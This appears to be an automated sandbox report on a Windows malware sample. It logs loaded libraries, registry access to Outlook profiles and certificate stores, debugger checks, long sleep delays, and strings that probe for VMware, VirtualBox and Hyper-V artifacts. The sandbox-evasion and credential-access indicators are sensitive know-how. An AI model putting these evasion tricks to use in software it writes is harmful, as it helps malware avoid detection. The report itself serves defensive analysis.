Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

0_2_004019F0

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Static PE information: real checksum: 0x23bfb should be: 0x3965c

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_3_05DA0FEE push dword ptr [eax+50A5DCB6h]; retf	0_3_05DA0FFD
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_3_05DA148F push es; iretd	0_3_05DA1490
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0040E21D push ecx; ret	0_2_0040E230
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0040BB97 push dword ptr [ecx-75h]; iretd	0_2_0040BBA3
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0612FB18 push es; ret	0_2_0612FB20
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_061ADA90 push es; ret	0_2_061ADAA0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0694922F push es; ret	0_2_06949240

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Memory allocated: 2100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Memory allocated: 2580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Memory allocated: 22E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

0_2_004019F0

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe TID: 7732	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe TID: 7908	Thread sleep count: 176 > 30	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe TID: 7908	Thread sleep count: 324 > 30	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe TID: 7732	Thread sleep time: -600000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmwaretrat
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vboxservice
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vboxtrayOC:\windows\System32\Drivers\Vmmouse.sysMC:\windows\System32\Drivers\vm3dgl.dllMC:\windows\System32\Drivers\vmtray.dllWC:\windows\System32\Drivers\VMToolsHook.dllUC:\windows\System32\Drivers\vmmousever.dllSC:\windows\System32\Drivers\VBoxMouse.sysSC:\windows\System32\Drivers\VBoxGuest.sysMC:\windows\System32\Drivers\VBoxSF.sysSC:\windows\System32\Drivers\VBoxVideo.sysGC:\windows\System32\vboxservice.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq*C:\windows\System32\Drivers\vmmousever.dll
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq+C:\windows\System32\Drivers\VMToolsHook.dll
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmtoolsd
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq)C:\windows\System32\Drivers\VBoxMouse.sys
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq&C:\windows\System32\Drivers\VBoxSF.sys
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq#C:\windows\System32\vboxservice.exe
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3548920983.00000000005B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllment
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: Vmwareuser
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq'C:\windows\System32\Drivers\Vmmouse.sys
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq)C:\windows\System32\Drivers\VBoxGuest.sys

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

API call chain: ExitProcess graph end node

graph_0-83350

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Code function: 0_2_05EC97D8 LdrInitializeThunk,

0_2_05EC97D8

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Code function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040CE09

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

0_2_004019F0

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

0_2_004019F0

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Code function: 0_2_0040ADB0 GetProcessHeap,HeapFree,

0_2_0040ADB0

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040CE09
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040E61C
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00416F6A
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_004123F1 SetUnhandledExceptionFilter,	0_2_004123F1

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Code function: GetLocaleInfoA,

0_2_00417A20

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

